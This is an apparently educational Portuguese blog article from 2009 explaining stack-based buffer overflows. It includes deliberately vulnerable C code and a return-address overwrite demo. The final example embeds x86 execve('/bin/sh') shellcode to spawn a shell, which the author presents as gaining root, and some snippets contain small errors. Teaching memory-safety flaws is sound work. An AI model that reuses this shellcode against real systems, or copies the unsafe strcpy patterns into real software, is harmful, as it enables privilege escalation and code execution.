O que é um Buffer Overflow ?

por **Fellipe Ugliara** em 01-06-2009 às 18:10 (12452 Visualizações)

Um buffer overflow é quando um buffer de tamanho determinado recebe mais dados do que o tamanho esperado. Parece simples não! Mais como transformar isso em uma falha de segurança?

A idéia é estourar o buffer e sobrescrever parte da pilha, mudando o valor das variáveis locais, valores dos parâmetros e/ou o endereço de retorno. Altera-se o endereço de retorno da função para que ele aponte para a área em que o código que se deseja executar, onde encontra-se armazenado o código malicioso. Pode-se assim executar código arbitrário com os privilégios do usuário que executa o programa vulnerável.

Exemplo: código com vulnerabilidade de buffer overflow.

Para tornar claro o exemplo será utilizado o buffer overflow mais simples que existe o baseado em pilha. Consistem em alterar a pilha de execução do programa para direcionar a execução para o código malicioso, inserindo seu endereço de memória no buffer estourado.

Modelo de pilha:

```
XXXXXXXXXXXXXXXXX YYYYY RRRRRR
|----------20-------------||--4--||---5---|

X=buffer[];
Y=FP;
Z=endereço de retorno que será alterado.
```

Entrada normal:

```
XXXXXXXXXXXXXXXXX
|----------20-------------|
```

Repare que o tamanho da entrada esta de acordo com o tamanho do buffer.

Entrada estourada:

```
XXXXXXXXXXXXXXXXX XXXXX XXRRRR
|----------20-------------| |--4--| |---5---|
```

Agora repare que a entrada será colocada no espaço do buffer(20), mas como a entrada tem tamanho 29 ela estoura o buffer escreve no FP e no sobre escreve o endereço com o novo endereço passado pela entrada estourada o que vai redirecionar o código original para o endereço do código malicioso.

```
/*-------------------------------------------------------------------------------------*/
/* vulneravel.c - Segmentation Fault */


#include <stdio.h>
#include <string.h>
void copia(char *copiar)
{
char buffer[10]; //tamanho do buffer 10
strcpy(buffer, copiar);
}
int main()
char string_grande[150]; //tamanho da string 150 vai estourar o buffer quando for copiada para ele:
int i;

for(i=0; i < 149 ; i++)
string_grande[i] = 'Z';

copia(string_grande);

return 0;
}

/*                                          Fim                                        */
/*-------------------------------------------------------------------------------------
-----------*/
```

Agora atenção ao que acontece ao executarmos o código abaixo muito parecido com o anterior.

```
/*-------------------------------------------------------------------------------------
-----------*/
/* vulneravel2.c - Escrever por cima do endereço para que ele vá para onde queremos */
```

```
#include <stdio.h>
#include <string.h>
void copia(int Z)
{
char buffer[10];
int *R;

R = buffer + 16;
/* O endereço de R = buffer[] + 16 ou seja do RET */
/* Adiciona 10 bytes ao valor de R (conseq. ao RET Addr) */

(*R) += 10;

}
int main()
{
int i;

i = 0; /* i -> antes da função */
copia(1);
i = 1; /* i -> depois da função */

printf("O valor de i e : %d\n", i);
return 0;
}

/* Fim */
/*----------------------------------------------------------------------------------------------*/
```

Vamos desta vez simplesmente mandar o código executar uma instrução a menos. Quando a execução chega em copia() o programa e desviado na pilha de execução para a posição do comando printf pulando a atribuição do i=1 o que fica provado quando o 0 é mostrado na impressão.

E para concluir temos este código.

```
/*----------------------------------------------------------------------------------------------*/
/*vulnerabilidae3.c - Simples Buffer Overflow */
```

```
#include <stdio.h>
#include <string.h>
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";

char string_grande[200];

void main()
{
char buffer[90];
int                                                                                    i;

/* Endereço é o mesmo */
long *R = (long *) string_grande;


/* Enche-se até ao tamanho do buffer ( - 1, o '{TEXTO}' );
o R com o endereço do buffer */

for(i = 0; i < 89; i++) *(R+i) = (int) buffer;

/* Enche a string com a nossa */

for(i = 0; i < strlen(shellcode) ; i++)

/* o nosso shellcode */
string_grande[i] = shellcode[i];


/* copia-se e +boom+ overflow */
strcpy(buffer, string_grande);
}

/* Fim */
/*-----------------------------------------------------------------------------------------
-----------*/
```

Ele segue a linha dos anteriores só que desta vez ele redireciona o endereço de execução para um comando de shell que abre a sessão do root.

Escalada de privilegio é quando o invasor tenta alcançar níveis mais altos de permissão para manipular o sistema no caso o mais alto o próprio root.

OBS: caso os códigos não funcionem como esperado é divido a não tratar as diversas arquiteturas existentes mais caso isso ocorra, use o gdb para seguir a execução do código e anotar os valores reais dos tamanhos de código por exemplo no código 2 o tamanho do comando de atribuição era 10 mais pode ser outro, basta alterá-lo para chegar aos resultados esperados.

Conclusão

Para corrigir este tipo de vulnerabilidade de overflow basta tratar as entradas e não permitir entradas maiores do que o tamanho do buffer.

Existem muitos outros casos cada um com sua peculiaridade mais espero que este artigo tenha dado uma introdução divertida e simples ao assunto.